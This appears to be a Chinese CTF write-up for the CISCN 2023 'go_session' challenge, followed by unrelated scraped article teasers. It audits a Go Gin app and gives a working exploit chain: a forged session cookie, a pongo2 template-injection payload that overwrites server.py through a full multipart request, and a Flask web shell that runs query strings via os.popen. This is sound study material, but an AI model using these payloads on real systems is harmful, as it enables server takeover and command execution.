[CISCN 2023 初赛]go_session

文章目录

  • 考点
  • 代码审计
    • main.go
    • route.go
      • Index函数
      • Admin函数
      • Flask函数
  • 解题过程
    • 伪造session
    • 获取server.py
    • 构造payload
    • 覆盖server.py
    • 命令执行


考点

session伪造,pongo2模板注入,debug模式覆盖源文件

代码审计

main.go

package mainimport ("github.com/gin-gonic/gin""main/route"
)func main() {r := gin.Default()r.GET("/", route.Index)r.GET("/admin", route.Admin)r.GET("/flask", route.Flask)r.Run("0.0.0.0:80")
}

main函数给了三个路由,分别对应根路径 //admin/flask
我们追踪到route.go

route.go

package routeimport ("github.com/flosch/pongo2/v6""github.com/gin-gonic/gin""github.com/gorilla/sessions""html""io""net/http""os"
)var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {session.Values["name"] = "guest"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, guest")
}func Admin(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}name := c.DefaultQuery("name", "ssti")xssWaf := html.EscapeString(name)tpl, err := pongo2.FromString("Hello " + xssWaf + "!")if err != nil {panic(err)}out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, out)
}func Flask(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}defer resp.Body.Close()body, _ := io.ReadAll(resp.Body)c.String(200, string(body))
}

这是一个路由文件,使用了Gin框架和pongo2的模板引擎

主要定义了三个路由函数,接下来逐步分析

Index函数

func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {session.Values["name"] = "guest"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, guest")
}

Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点

首先是接收session的参数name,然后判断会话中的name值是否为空,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。

在这里插入图片描述

Admin函数

func Admin(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}name := c.DefaultQuery("name", "ssti")xssWaf := html.EscapeString(name)tpl, err := pongo2.FromString("Hello " + xssWaf + "!")if err != nil {panic(err)}out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, out)
}

函数首先判断是否为空,然后判断是否为admin,如果是name为admin,那么从查询参数中获取名为 name 的值,然后EscapeString函数进行转义,接着使用pongo2模板引擎打印字符串

Flask函数

func Flask(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}defer resp.Body.Close()body, _ := io.ReadAll(resp.Body)c.String(200, string(body))
}

函数判断参数name值是否为空,如果为空则返回报错信息(可能有我们需要的信息)

这里有个坑,也就是下面这句

resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))

如果我们想要给flask服务传入参数name=123,实际上要构造的是./flask?name=%3fname=123

解题过程

伪造session

题目大概逻辑已经清楚了,首要问题就是如何去伪造session,也就是如何去得到SESSION_KEY

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

执行过程:设置了基于 Cookie 的会话存储,并使用环境变量中的 SESSION_KEY 值作为会话密钥

由于我们无法知道环境变量,只能对SESSION_KEY进行猜测,就是并未设置SESSION_KEY,所以我们可以本地搭环境得到session值去伪造

首先修改源码
如果name不为admin,将其值设置为admin
在这里插入图片描述开启代理

go env -w GOPROXY=https://goproxy.io,direct

然后运行下main.go
在这里插入图片描述
访问127.0.0.1:80,得到cookie
在这里插入图片描述
访问./admin,bp抓包修改session
成功访问
在这里插入图片描述
伪造成功后我们再看看还有什么能获取的信息
所以我们尝试读去下报错信息

获取server.py

我们访问./Flask,并且传参name为空
(注意session得为admin)
在这里插入图片描述得到html代码,我们随便打开个网页复制进去
可以发现开启了debug,说明开启了热加载功能,允许在对代码进行更改后自动重新加载应用程序。这意味着可以在不必手动停止和重启 Flask 应用程序的情况下查看对代码的更改。
在这里插入图片描述
我们知道pongo2模板引擎存在注入点,可以执行go的代码,所以我们可以先上传文件覆盖server.py,再访问/flask路由,来执行命令

构造payload

使用gin包的SaveUploadedFile()进行文件上传

func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error

  • 第一个获取表单中的文件,第二个参数为保存的目录

所以使用ssti的payload为

{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}

但是我们在前面代码审计的时候知道,双引号会被html.EscapeString转义进行编码,所以需要绕过

我们利用gin中的Context.HandlerName()

HandlerName
返回主处理程序的名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”

所以如果是在Admin()里,返回的就是main/route.Admin
然后配合过滤器last获取到最后一个字符串也就是文件名为n

还有一个Context.Request.Referer()Request.Referer

返回header里的Referer的值

我们可以在请求中的Referer的值添加为/app/server.py

所以构造最终payload

{{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}

但是在数据包中添加请求头时还要添加 Content-Type 头

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND

对于添加这个头的解释是

对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时 生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要 使用 multipart/form-data 类型的请求体格式。

注意分隔符的开始和结束格式

--分隔符
...
...
--分隔符--

覆盖server.py

访问./admin,数据包如下

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: node5.anna.nssctf.cn:28120
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=MTY5OTAxNjY1NnxEdi1CQkFFQ180SUFBUkFCRUFBQVBQLUNBQUlHYzNSeWFXNW5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQUFCbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaMlZKWkFOcGJuUUVBd0Rfa0E9PXx0Nhf11tos024WRtfbo-1x1tZkxqxiP2paIr7GAXXEqA==; session-name=MTY5OTMxNjI2NHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXzsOnx_9Q3qCs6AZzIOC6h8UsEAuK5LiaOsjUjumSslrQ==
Upgrade-Insecure-Requests: 1
Content-Length: 423------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plainfrom flask import *
import os
app = Flask(__name__)@app.route('/')
def index():name = request.args['name']file=os.popen(name).read()return fileif __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

可以看到上传成功
在这里插入图片描述

命令执行

然后就在./flask去命令执行,因为我们知道该路由获取name也是c.DefaultQuery

name=?name=env,拼接出来的url是
http://127.0.0.1:5000/?name=env
但写成name=env,拼接出来的url就是
http://127.0.0.1:5000/env

然后在环境变量找到flag

/flask?name=?name=env

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/135299.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

汇编-变量

.386 .model flat,stdcall option casemap:none.data sum DWORD 0 ;创建一个全局变量,取名sum,初始化0 sum1 DWORD ? ;创建一个全局变量sum1,无初始化 ;问号(?)初始化值使得变量未被初始化,这意味着在运行时才会为该变量分配一个值 ;变量名…

【Node.js入门】1.3 开始开发Node.js应用程序

1.3 开始开发Node.js应用程序 学习目标 (1)熟悉开发工具Visual Studio Code的基本使用; (2)掌握Node.js应用程序的编写、运行和调试的基本方法。 构建第一个 Node.js应用程序 代码 const http require("htt…

【小技巧】WPS统计纯汉字(不计标点符号)

【小技巧】WPS统计纯汉字(不计标点符号) 首先,CtrlF打开查找页面: 选择“高级搜索”,然后勾选“使用通配符”,然后在“查找内容”后面输入:[一-﨩]。注意:一定要带“[]”和“-”且…

web前端——HTML+CSS实现九宫格

web前端——HTMLCSS实现九宫格 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title&…

10道高频Vuex面试题快问快答

※其他的快问快答&#xff0c;看这里&#xff01; 10道高频Qiankun微前端面试题快问快答 10道高频webpack面试题快问快答 20道高频CSS面试题快问快答 20道高频JavaScript面试题快问快答 30道高频Vue面试题快问快答 面试中的快问快答 快问快答的情景在面试中非常常见。 在面试过…

07 # 手写 find 方法

find 的使用 find() 方法返回数组中满足提供的测试函数的第一个元素的值。否则返回 undefined。 ele&#xff1a;表示数组中的每一个元素index&#xff1a;表示数据中元素的索引array&#xff1a;表示数组 <script>var arr [1, 3, 5, 7, 9];var result arr.find(fun…

Chatgpt人工智能对话源码系统分享 带完整搭建教程

ChatGPT的开发基于大规模预训练模型技术。预训练模型是一种在大量文本数据上进行训练的模型&#xff0c;可以学习到各种语言模式和知识。在ChatGPT中&#xff0c;预训练模型被用于学习如何生成文本&#xff0c;并且可以用于各种不同的任务&#xff0c;如对话生成、问答、摘要等…

SpringBoot整合Kafka (二)

&#x1f4d1;前言 本文主要讲了SpringBoot整合Kafka文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ 上文链接&#xff1a;SpringBoot整合Kafka (一) &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是青衿&#x1f947; ☁️博客首页&#xff1a;CSDN主页…

改进YOLOv5:结合ICCV2023|动态蛇形卷积,构建不规则目标识别网络

🔥🔥🔥 提升多尺度、不规则目标检测,创新提升 🔥🔥🔥 🔥🔥🔥 捕捉图像特征和处理复杂图像特征 🔥🔥🔥 👉👉👉: 本专栏包含大量的新设计的创新想法,包含详细的代码和说明,具备有效的创新组合,可以有效应用到改进创新当中 👉👉👉: �…

查看apk签名

cmd 命令&#xff1a; keytool -v -list -keystore "E:\xxx\release.jks"

kubernetes集群编排——k8s存储(configmap,secrets)

configmap 字面值创建 kubectl create configmap my-config --from-literalkey1config1 --from-literalkey2config2kubectl get cmkubectl describe cm my-config 通过文件创建 kubectl create configmap my-config-2 --from-file/etc/resolv.confkubectl describe cm my-confi…

Unreal UnLua + Lua Protobuf

Unreal UnLua Lua Protobuf https://protobuf.dev/ protobuf wire format&#xff1a;pb 编译到底层的数据协议 https://github.com/starwing/lua-protobuf/blob/master/README.zh.md buffer 处理 lua string 可以当 buffer 用&#xff0c;# len 不会遇到 0 截断&#xf…

算法leetcode|85. 最大矩形(rust重拳出击)

文章目录 85. 最大矩形&#xff1a;样例 1&#xff1a;样例 2&#xff1a;样例 3&#xff1a;样例 4&#xff1a;样例 5&#xff1a;提示&#xff1a; 分析&#xff1a;题解&#xff1a;rust&#xff1a;go&#xff1a;c&#xff1a;python&#xff1a;java&#xff1a; 85. 最…

Python算法例8 将整数A转换为B

1. 问题描述 给定整数A和B&#xff0c;求出将整数A转换为B&#xff0c;需要改变bit的位数。 2. 问题示例 把31转换为14&#xff0c;需要改变2个bit位&#xff0c;即&#xff1a;&#xff08;31&#xff09;10&#xff08;11111&#xff09;2&#xff0c;&#xff08;14&…

CAN 协议常见面试题总结

0.讲一下CAN通讯的过程 第一段&#xff1a;需要发送的通讯设备&#xff0c;先发送一个显性电平0&#xff0c;告诉其他通讯设备&#xff0c;需要开始通讯。 第二段&#xff1a;就是发送仲裁段&#xff0c;其中包括ID帧和数据帧类型&#xff0c;告诉其他通讯设备&#xff0c;需…

智慧农业:农林牧数据可视化监控平台

数字农业是一种现代农业方式&#xff0c;它将信息作为农业生产的重要元素&#xff0c;并利用现代信息技术进行农业生产过程的实时可视化、数字化设计和信息化管理。能将信息技术与农业生产的各个环节有机融合&#xff0c;对于改造传统农业和改变农业生产方式具有重要意义。 图扑…

Android Studio(项目收获)

取消按钮默认背景色 像按钮默认背景色为深蓝色&#xff0c;即使使用了background属性指定颜色也不能生效。 参考如下的解决方法&#xff1a; 修改/res/values/themes.xml中的指定内容如下&#xff1a; <style name"Theme.TianziBarbecue" parent"Theme.Mater…

OSCP系列靶场-Esay-Dawn

总结 getwebshell → SMB共享无密码 → SMB存在上传功能 → 存在周期执行任务 → SMB上传反弹shell → 被执行获得webshell 提 权 思 路 → suid发现zsh → -p容器提权 准备工作 启动VPN 获取攻击机IP > 192.168.45.163 启动靶机 获取目标机器IP > 192.168.242.11 信…

51单片机-定时计数器

文章目录 前言1 原理2.编程 前言 1 原理 2.编程 定时计算&#xff1a; 50ms501000us 一个机器周期&#xff1a;1.085us 65535 - 501000/1.08546082 故 40082*1.08549998.97 /*定时器1&#xff0c;定时模式 工作模式1 16位计数器&#xff0c; 定时20秒后使能蜂鸣器*/ #include…

5 Tensorflow图像识别(下)模型构建

上一篇&#xff1a;4 Tensorflow图像识别模型——数据预处理-CSDN博客 1、数据集标签 上一篇介绍了图像识别的数据预处理&#xff0c;下面是完整的代码&#xff1a; import os import tensorflow as tf# 获取训练集和验证集目录 train_dir os.path.join(cats_and_dogs_filter…